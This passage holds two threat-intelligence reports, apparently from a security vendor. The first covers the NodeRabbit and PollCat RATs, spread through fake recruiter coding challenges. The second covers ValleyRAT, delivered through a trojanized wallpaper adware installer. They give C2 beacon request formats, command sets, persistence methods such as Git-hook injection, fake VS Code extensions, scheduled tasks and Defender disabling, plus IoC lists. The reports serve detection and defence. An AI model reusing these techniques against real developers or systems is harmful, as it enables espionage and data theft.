The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system Persistence mechanism
Windows Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method Endpoint Purpose
POST /sdk/v2/ready Register agent and host info
POST /sdk/v2/config Poll for commands
POST /sdk/v2/events Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system Persistence mechanism
Windows Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands Functionality
fs:drives Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec Execute a process
proc:kill Kill process by PID or image name
agent:servers Replace the active C2 and attempt to keep the new configuration
agent:getchain Return the current C2
outlook:emails Harvest account addresses from Outlook OST and PST artifacts
persist:check Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove Remove the fake extension
persist:projects:scan Search recent and common development locations for Git repositories
persist:project:inject Inject a launcher into a repository’s Git hooks
persist:project:remove Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

README instructions and challenge overview included in the trojanized React coding project

README instructions and challenge overview included in the trojanized React coding project

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system Persistence mechanism
Windows Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method Endpoint Purpose
POST /beacon Register the client and obtain a socketId and optional timing values.
POST /gate/hello Submit host, user, domain, OS information, and its current privilege level.
GET /gate/fetch?token=<socketId> Poll for commands.
POST /gate/submit Submit a Base64-encoded command-result structure.
GET /vault/<uuid> Retrieve a hosted file and write it to the victim machine.
PUT /vault/push/ Upload a local file or file chunk to the C2.
POST /gate/track Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command Functionality
0x02 (DIR) List a directory.
0x03 (MV) Move a file or directory.
0x04 (RUN) Execute a shell command.
0x05 (TASKLIST) List running processes.
0x06 (DEL) Delete a file or directory.
0x07 (UPLOAD) Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD) Upload a local file to the C2.
0X09 (DRIVES) List drives, volumes, or mount points.
0X0A (TERMINATE) Terminate a process by PID.
0X0B (RUNDLL) Load a DLL and call an exported function on Windows.
0X0C (MKDIR) Create a directory.
0X0D (ZIP) Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD) Upload a local file in chunks.
0X0F (RUN_HIDDEN) Start a hidden background process.
0X20 (EVAL_JS) Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK) Collect process and software inventory.
0XA1 (WS_DOWNLOAD) Defined but not implemented.
0xB0 (REQUEST_ELEVATION) Defined but not implemented.
0XB1 (PERSIST) Defined but not implemented.
0xF0 (SET_SLEEP_TIME) Change the polling interval.
0XF1 (SET_IDLE_TIME) Store an idle-time value.
0xF2 (SET_JITTER_TIME) Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

  • %SystemDrive%\Program Files
  • %SystemDrive%\Program Files (x86)
  • %LOCALAPPDATA%
  • %LOCALAPPDATA%\Programs
  • %APPDATA%
  • %USERPROFILE%
  • %APPDATA%\Microsoft\Outlook
  • %LOCALAPPDATA%\Microsoft\Olk\Attachments
  • %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain Registrar ASN Malware sample
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 4
healthcomfsdpower[.]com
visitfinancedentists[.]com
NameCheap, Inc. AS 13335 NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net MarkMonitor Inc. AS 8075
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 7
lifespotify[.]com Dynadot AS 8075 PollCat RAT
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
MarkMonitor Inc.
sahi-finance[.]com NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain Creation date Registrar
healthful-hub[.]com 2026-07-03 NameCheap, Inc.
neumedicahealthcare[.]com 2026-07-03 NameCheap, Inc.
optimumhealthcredit[.]com 2026-07-03 NameCheap, Inc.
healthfullyrecipes[.]com 2026-06-30 NameCheap, Inc.
refreshhealthandwellness[.]com 2026-06-09 NameCheap, Inc.
healthvitalitycare[.]com 2026-05-18 NameCheap, Inc.
aceofspadesmanagement[.]com 2026-05-18 NameCheap, Inc.
glmediaagency[.]com 2026-05-18 NameCheap, Inc.
digimediaskill[.]com 2026-05-18 NameCheap, Inc.
healthyweightplan[.]com 2026-05-18 NameCheap, Inc.
mens-health-online[.]com 2026-05-15 NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

  1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
    • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.

      Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

      Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

    • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
      Malware Host registration request body C2 endpoint
      PollCat {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false} /gate/hello
      MiniFast/Retrograde {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>} /agent/init
    • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
    • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
    • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.

      Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

      Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

    • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
  2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
  3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
  4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

  •  

ValleyRAT masquerading as adware

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name What it does
FS_SETUP_DD_173.exe Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe Installs Google Chrome
FS_SETUP_HY_173.exe Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name MD5 Purpose
1.zip 7ad1e3ef4e6d9d636c9e7e967733850e Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll 96b4c1d0683dce22bd3223e1e40689c1 7z archiver library
7z.exe 9b86d3ab6cef15c633933fbbeab39c0a Archiver
chrome_elf.dll edfdc30cbd85879776b8f735ea7de1f1 Library used to launch Electron-based applications
libcef.dll 07ddbbe2c71c45577a7a4fbcdba0df91 Malicious library
PeLoader 48826d5ca845979d2e6ebd66dc1aae90 File containing the encrypted backdoor
QnWallpaper.exe 6c158c0f8e029342192d4f0d72e102b7 Adware module
QnwPlayer.exe 9a71d6a41cd258b9e89cdc5fc224de73 Adware module
<random string of letters and digits>Nedca.exe c24e99f9437feacaa63766a3cde3fe3d Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

Disabling Windows Defender

Disabling Windows Defender

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

Example of an exported function

Example of an exported function

Loading functions from the original libcef.dll

Loading functions from the original libcef.dll

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

The RunDLL function

The RunDLL function

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

  • Whether the current user belongs to the Administrators group
  • Which process the DLL is running inside
Checking for administrator privileges

Checking for administrator privileges

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Relaunching the process to obtain administrator privileges

Relaunching the process to obtain administrator privileges

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

  • If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.

    Encrypted payload

    Encrypted payload

  • If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.

    Retrieving the payload from a resource

    Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

Validating the PE file headers after decryption

Validating the PE file headers after decryption

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

Calling DllMain

Calling DllMain

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

Obfuscated configuration

Obfuscated configuration

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Parsing the configuration

Parsing the configuration

Some of the configuration fields are listed below:

Key Description
p? C2 server IP address
o? C2 server port
t? Protocol (1: TCP, 0: UDP)
dd Sleep duration before executing the main code
cl Sleep duration after receiving the corresponding command from the server
bz Configuration creation date
bh Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

  • Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
    Injecting code into svchost

    Injecting code into svchost

    The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

    Injected function

    Injected function

  • Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.

    Setting its own process as critical

    Setting its own process as critical

  • Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.

    Restarting on exceptions

    Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

Capturing clipboard data

Capturing clipboard data

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

Window name checks

Window name checks

After completing these checks, the backdoor collects system information, including:

  • Host name
  • Host IP addresses
  • User idle time
  • Detailed Windows version information (ProductName, EditionId, DisplayVersion)
  • Number of CPU cores
  • Free disk space
  • Graphics adapter
  • Currently focused window and its title
  • System bitness
  • Language settings
  • Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

  • Rebooting the computer
  • Shutting down the computer
  • Taking a screenshot
  • Wiping logs
  • Updating its C2 addresses
  • Downloading additional modules
  • Sending keylogger logs along with clipboard contents
Snippet of the command handler

Snippet of the command handler

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

The DownloadPeFile function is responsible for downloading a PE file

The DownloadPeFile function is responsible for downloading a PE file

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

Implementation of the process hollowing technique

Implementation of the process hollowing technique

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Calling DllMain after the backdoor loads the PE file

Calling DllMain after the backdoor loads the PE file

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

  •  
❌